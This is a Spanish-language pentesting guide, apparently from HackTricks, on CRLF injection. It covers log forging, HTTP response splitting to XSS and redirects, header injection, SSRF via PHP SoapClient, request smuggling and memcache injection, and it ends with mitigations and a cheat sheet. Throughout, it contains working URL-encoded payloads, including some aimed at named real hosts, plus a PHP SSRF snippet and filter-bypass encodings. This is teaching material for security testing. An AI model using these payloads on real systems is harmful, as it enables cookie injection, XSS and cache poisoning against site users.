17 KiB
Inyección de CRLF (%0D%0A)
Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red de HackTricks AWS)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén la merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Si estás interesado en una carrera de hacking y hackear lo imposible - ¡estamos contratando! (se requiere dominio del polaco escrito y hablado).
{% embed url="https://www.stmcyber.com/careers" %}
CRLF
Carriage Return (CR) y Line Feed (LF), conocidos colectivamente como CRLF, son secuencias de caracteres especiales utilizadas en el protocolo HTTP para denotar el final de una línea o el inicio de una nueva. Los servidores web y los navegadores utilizan CRLF para distinguir entre las cabeceras HTTP y el cuerpo de una respuesta. Estos caracteres se emplean universalmente en las comunicaciones HTTP/1.1 en varios tipos de servidores web, como Apache y Microsoft IIS.
Vulnerabilidad de Inyección de CRLF
La inyección de CRLF implica la inserción de los caracteres CR y LF en una entrada proporcionada por el usuario. Esta acción engaña al servidor, la aplicación o el usuario haciéndoles interpretar la secuencia inyectada como el final de una respuesta y el comienzo de otra. Aunque estos caracteres no son inherentemente dañinos, su mal uso puede llevar a la división de respuestas HTTP y otras actividades maliciosas.
Ejemplo: Inyección de CRLF en un Archivo de Registro
Considera un archivo de registro en un panel de administración que sigue el formato: IP - Hora - Ruta Visitada
. Una entrada típica podría ser:
123.123.123.123 - 08:15 - /index.php?page=home
Un atacante puede explotar una inyección de CRLF para manipular este registro. Al inyectar caracteres CRLF en la solicitud HTTP, el atacante puede alterar el flujo de salida y fabricar entradas de registro. Por ejemplo, una secuencia inyectada podría transformar la entrada de registro en:
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
Aquí, %0d
y %0a
representan las formas codificadas en URL de CR y LF. Después del ataque, el registro mostraría de forma engañosa:
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
El atacante oculta sus actividades maliciosas haciendo que parezca que el localhost (una entidad típicamente confiable dentro del entorno del servidor) realizó las acciones. El servidor interpreta la parte de la consulta que comienza con %0d%0a
como un único parámetro, mientras que el parámetro restrictedaction
se analiza como otra entrada separada. La consulta manipulada imita efectivamente un comando administrativo legítimo: /index.php?page=home&restrictedaction=edit
División de Respuesta HTTP
Descripción
La División de Respuesta HTTP es una vulnerabilidad de seguridad que surge cuando un atacante explota la estructura de las respuestas HTTP. Esta estructura separa los encabezados del cuerpo utilizando una secuencia de caracteres específica, Retorno de Carro (CR) seguido de Avance de Línea (LF), colectivamente denominado como CRLF. Si un atacante logra insertar una secuencia CRLF en un encabezado de respuesta, puede manipular efectivamente el contenido de la respuesta subsiguiente. Este tipo de manipulación puede llevar a problemas de seguridad graves, especialmente Cross-site Scripting (XSS).
XSS a través de la División de Respuesta HTTP
- La aplicación establece un encabezado personalizado de esta manera:
X-Custom-Header: UserInput
- La aplicación obtiene el valor para
UserInput
de un parámetro de consulta, digamos "user_input". En escenarios que carecen de una validación adecuada de la entrada y codificación, un atacante puede crear un payload que incluya la secuencia CRLF, seguida de contenido malicioso. - Un atacante crea una URL con un 'user_input' especialmente diseñado:
?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
- En esta URL,
%0d%0a%0d%0a
es la forma codificada en URL de CRLFCRLF. Engaña al servidor para que inserte una secuencia CRLF, haciendo que el servidor trate la parte subsiguiente como el cuerpo de la respuesta.
- El servidor refleja la entrada del atacante en el encabezado de respuesta, lo que lleva a una estructura de respuesta no deseada donde el script malicioso es interpretado por el navegador como parte del cuerpo de la respuesta.
Un ejemplo de División de Respuesta HTTP que conduce a una Redirección
Navegador a:
/%0d%0aLocation:%20http://myweb.com
Y el servidor responde con el encabezado:
Location: http://myweb.com
Otro ejemplo: (de https://www.acunetix.com/websitesecurity/crlf-injection/)
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
En la ruta URL
Puedes enviar la carga útil dentro de la ruta URL para controlar la respuesta del servidor (ejemplo de aquí):
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
Ver más ejemplos en:
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
Inyección de Cabeceras HTTP
La Inyección de Cabeceras HTTP, a menudo explotada a través de la inyección CRLF (retorno de carro y avance de línea), permite a los atacantes insertar cabeceras HTTP. Esto puede socavar mecanismos de seguridad como los filtros XSS (Cross-Site Scripting) o la política SOP (Same-Origin Policy), lo que potencialmente lleva a un acceso no autorizado a datos sensibles, como tokens CSRF, o la manipulación de sesiones de usuario a través de la inserción de cookies.
Explotando CORS a través de la Inyección de Cabeceras HTTP
Un atacante puede inyectar cabeceras HTTP para habilitar CORS (Cross-Origin Resource Sharing), eludiendo las restricciones impuestas por SOP. Esta vulnerabilidad permite que scripts de orígenes maliciosos interactúen con recursos de un origen diferente, potencialmente accediendo a datos protegidos.
SSRF e Inyección de Solicitudes HTTP a través de CRLF
La inyección CRLF se puede utilizar para crear e inyectar una solicitud HTTP completamente nueva. Un ejemplo notable de esto es la vulnerabilidad en la clase SoapClient
de PHP, específicamente dentro del parámetro user_agent
. Al manipular este parámetro, un atacante puede insertar cabeceras adicionales y contenido del cuerpo, o incluso inyectar una nueva solicitud HTTP por completo. A continuación se muestra un ejemplo en PHP que demuestra esta explotación:
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
Inyección de encabezados para Request Smuggling
Para obtener más información sobre esta técnica y los problemas potenciales, consulte la fuente original.
Puede inyectar encabezados esenciales para asegurar que el back-end mantenga la conexión abierta después de responder a la solicitud inicial:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
Posteriormente, se puede especificar una segunda solicitud. Este escenario generalmente implica HTTP request smuggling, una técnica donde encabezados adicionales o elementos de cuerpo añadidos por el servidor post-inyección pueden llevar a diversas explotaciones de seguridad.
Explotación:
- Inyección de Prefijo Malicioso: Este método implica envenenar la próxima solicitud del usuario o una caché web especificando un prefijo malicioso. Un ejemplo de esto es:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
- Creación de un Prefijo para Envenenamiento de la Cola de Respuestas: Este enfoque implica crear un prefijo que, combinado con basura adicional, forme una segunda solicitud completa. Esto puede desencadenar el envenenamiento de la cola de respuestas. Un ejemplo es:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1
Inyección en Memcache
Memcache es un almacenamiento de clave-valor que utiliza un protocolo de texto claro. Más información en:
{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}
Para obtener la información completa, lee el informe original
Si una plataforma está tomando datos de una solicitud HTTP y usándolos sin sanitizar para realizar solicitudes a un servidor memcache, un atacante podría abusar de este comportamiento para inyectar nuevos comandos de memcache.
Por ejemplo, en la vulnerabilidad original descubierta, las claves de caché se usaban para devolver la IP y el puerto al que un usuario debía conectarse, y los atacantes podían inyectar comandos de memcache que envenenarían la caché para enviar los detalles de las víctimas (incluidos nombres de usuario y contraseñas) a los servidores del atacante:
Además, los investigadores también descubrieron que podían desincronizar las respuestas de memcache para enviar las direcciones IP y puertos de los atacantes a usuarios cuyos correos electrónicos el atacante no conocía:
Cómo Prevenir Inyecciones CRLF / de Encabezados HTTP en Aplicaciones Web
Para mitigar los riesgos de inyecciones CRLF (retorno de carro y salto de línea) o de encabezados HTTP en aplicaciones web, se recomiendan las siguientes estrategias:
-
Evitar la Entrada Directa del Usuario en los Encabezados de Respuesta: El enfoque más seguro es abstenerse de incorporar la entrada suministrada por el usuario directamente en los encabezados de respuesta.
-
Codificar Caracteres Especiales: Si no es factible evitar la entrada directa del usuario, asegúrate de emplear una función dedicada a codificar caracteres especiales como CR (retorno de carro) y LF (salto de línea). Esta práctica previene la posibilidad de inyección de CRLF.
-
Actualizar el Lenguaje de Programación: Actualiza regularmente el lenguaje de programación utilizado en tus aplicaciones web a la última versión. Opta por una versión que inherentemente prohíba la inyección de caracteres CR y LF dentro de las funciones encargadas de establecer los encabezados HTTP.
HOJA DE TRUCOS
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
Herramientas Automáticas
Lista de Detección de Fuerza Bruta
Referencias
- https://www.invicti.com/blog/web-security/crlf-http-header/
- https://www.acunetix.com/websitesecurity/crlf-injection/
- https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
- https://www.netsparker.com/blog/web-security/crlf-http-header/
Si estás interesado en una carrera de hacking y hackear lo imposible - ¡estamos contratando! (se requiere fluidez en polaco escrito y hablado).
{% embed url="https://www.stmcyber.com/careers" %}
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén la merchandising oficial de PEASS & HackTricks
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.